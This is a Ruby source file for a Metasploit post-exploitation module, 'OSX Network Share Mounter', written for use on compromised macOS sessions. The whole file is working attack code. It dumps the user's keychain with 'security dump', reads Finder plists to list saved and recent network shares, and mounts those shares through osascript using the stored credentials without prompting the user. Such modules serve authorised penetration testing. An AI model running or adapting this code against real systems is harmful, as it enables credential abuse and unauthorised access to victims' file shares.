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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  # list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored.
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  FILE_SHARE_PROTOCOLS = %w[smb nfs cifs ftp afp]
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  # Used to parse a name property from a plist
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  NAME_REGEXES = [/^Name = "(.*)";$/, /^Name = (.*);$/]
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  # Used to parse a URL property from a plist
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  URL_REGEX = /^URL = "(.*)";$/
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  include Msf::Post::File
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'OSX Network Share Mounter',
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        'Description' => %q{
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          This module lists saved network shares and tries to connect to them using stored
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          credentials. This does not require root privileges.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Peter Toth <globetother[at]gmail.com>',
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          'joev'
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        ],
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        'Platform' => [ 'osx' ],
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        'SessionTypes' => [ 'meterpreter', 'shell' ],
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        'Actions' => [
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          [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
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          [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
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          [ 'UMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
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        ],
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        'DefaultAction' => 'LIST'
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      )
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    )
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    register_options(
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      [
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        OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
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        OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
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      ]
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    )
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    register_advanced_options(
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      [
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        OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
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        OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
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        OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
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        OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
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      ]
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    )
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  end
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  def run
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    username = cmd_exec('whoami').strip
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    security_path = datastore['SECURITY_PATH'].shellescape
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    sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape
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    recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape
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    if action.name == 'LIST'
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      if file?(security_path)
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        saved_shares = get_keyring_shares(security_path)
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        if saved_shares.empty?
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          print_status('No Network Share credentials were found in the keyrings')
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        else
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          print_status('Network shares saved in keyrings:')
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          print_status("  Protocol\tShare Name")
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          saved_shares.each do |line|
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            print_good("  #{line}")
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          end
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        end
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      else
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        print_error('Could not check keyring contents: Security binary not found.')
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      end
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      if file?(sidebar_plist_path)
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        favorite_shares = get_favorite_shares(sidebar_plist_path)
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        if favorite_shares.empty?
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          print_status('No favorite shares were found')
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        else
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          print_status('Favorite shares (without stored credentials):')
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          print_status("  Protocol\tShare Name")
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          favorite_shares.each do |line|
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            print_uri(line)
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          end
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        end
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      else
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        print_error('Could not check sidebar favorites contents: Sidebar plist not found')
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      end
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      if file?(recent_plist_path)
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        recent_shares = get_recent_shares(recent_plist_path)
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        if recent_shares.empty?
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          print_status('No recent shares were found')
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        else
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          print_status('Recent shares (without stored credentials):')
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          print_status("  Protocol\tShare Name")
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          recent_shares.each do |line|
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            print_uri(line)
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          end
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        end
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      else
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        print_error('Could not check recent favorites contents: Recent plist not found')
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      end
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      mounted_shares = get_mounted_volumes
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      if mounted_shares.empty?
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        print_status('No volumes found in /Volumes')
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      else
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        print_status('Mounted Volumes:')
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        mounted_shares.each do |line|
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          print_good("  #{line}")
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        end
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      end
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    elsif action.name == 'MOUNT'
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      mount
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    elsif action.name == 'UMOUNT'
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      umount
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    end
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  end
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  # Returns the network shares stored in the user's keychain. These shares will often have
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  # creds attached, so mounting occurs without prompting the user for a password.
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  # @return [Array<String>] sorted list of volumes stored in the user's keychain
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  def get_keyring_shares(security_path)
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    # Grep for desc srvr and ptcl
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    data = cmd_exec("#{security_path} dump")
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    lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)
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    # Go through the list, find the saved Network Password descriptions
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    # and their corresponding ptcl and srvr attributes
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    list = []
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    lines.each_with_index do |line, x|
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      # Remove everything up to the double-quote after the equal sign,
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      # and also the trailing double-quote
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      next unless line =~ /"desc"<blob>=("Network Password"|<NULL>)/ && x < lines.length - 2 && (lines[x + 1].match "^.*\=\"(.*)\w*\"\w*$")
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      protocol = ::Regexp.last_match(1)
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      if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x + 2].match("^.*\=\"(.*)\"\w*$")
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        server = ::Regexp.last_match(1)
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        list.push(protocol + "\t" + server)
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      end
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    end
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    list.sort
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  end
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  # Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter
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  # an address, then click the [+] button next to the address field.
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  # @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
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  def get_favorite_shares(sidebar_plist_path)
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    # Grep for URL
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    data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
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    list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact
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    # Grep for EntryType and Name
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    data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
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    lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }
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    # Go through the list, find the rows with EntryType 8 and their corresponding name
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    lines.each_with_index do |line, x|
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      if line =~ /EntryType = 8;/ && x < lines.length - 1 && NAME_REGEXES.any? { |r| lines[x + 1].strip =~ r }
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        list.push(::Regexp.last_match(1))
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      end
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    end
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    list.sort
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  end
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  # Returns the user's "Recent Shares" list
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  # @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
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  def get_recent_shares(recent_plist_path)
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    # Grep for Name
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    data = cmd_exec("defaults read #{recent_plist_path} Hosts")
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    data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact.uniq.sort
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  end
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  # @return [Array<String>] sorted list of mounted volume names
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  def get_mounted_volumes
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    cmd_exec('ls /Volumes').lines.map(&:strip).sort
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  end
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  def mount
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    share_name = datastore['VOLUME']
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    protocol = datastore['PROTOCOL']
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    print_status("Connecting to #{protocol}://#{share_name}")
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    cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
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  end
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  def umount
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    share_name = datastore['VOLUME']
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    print_status("Disconnecting from #{share_name}")
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    cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
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  end
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  # hook cmd_exec to print a debug message when DEBUG=true
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  def cmd_exec(cmd)
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    vprint_status(cmd)
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    super
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  end
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  # Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host
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  # @param [String] line the URL to parse and print formatted
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  def print_uri(line)
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    if line =~ %r{^(.*?)://(.*)$}
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      print_good "  #{::Regexp.last_match(1)}\t#{::Regexp.last_match(2)}"
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    else
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      print_good "  #{line}"
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    end
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  end
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  # path to osascript on the remote system
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  def osascript_path
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    datastore['OSASCRIPT_PATH'].shellescape
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  end
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end
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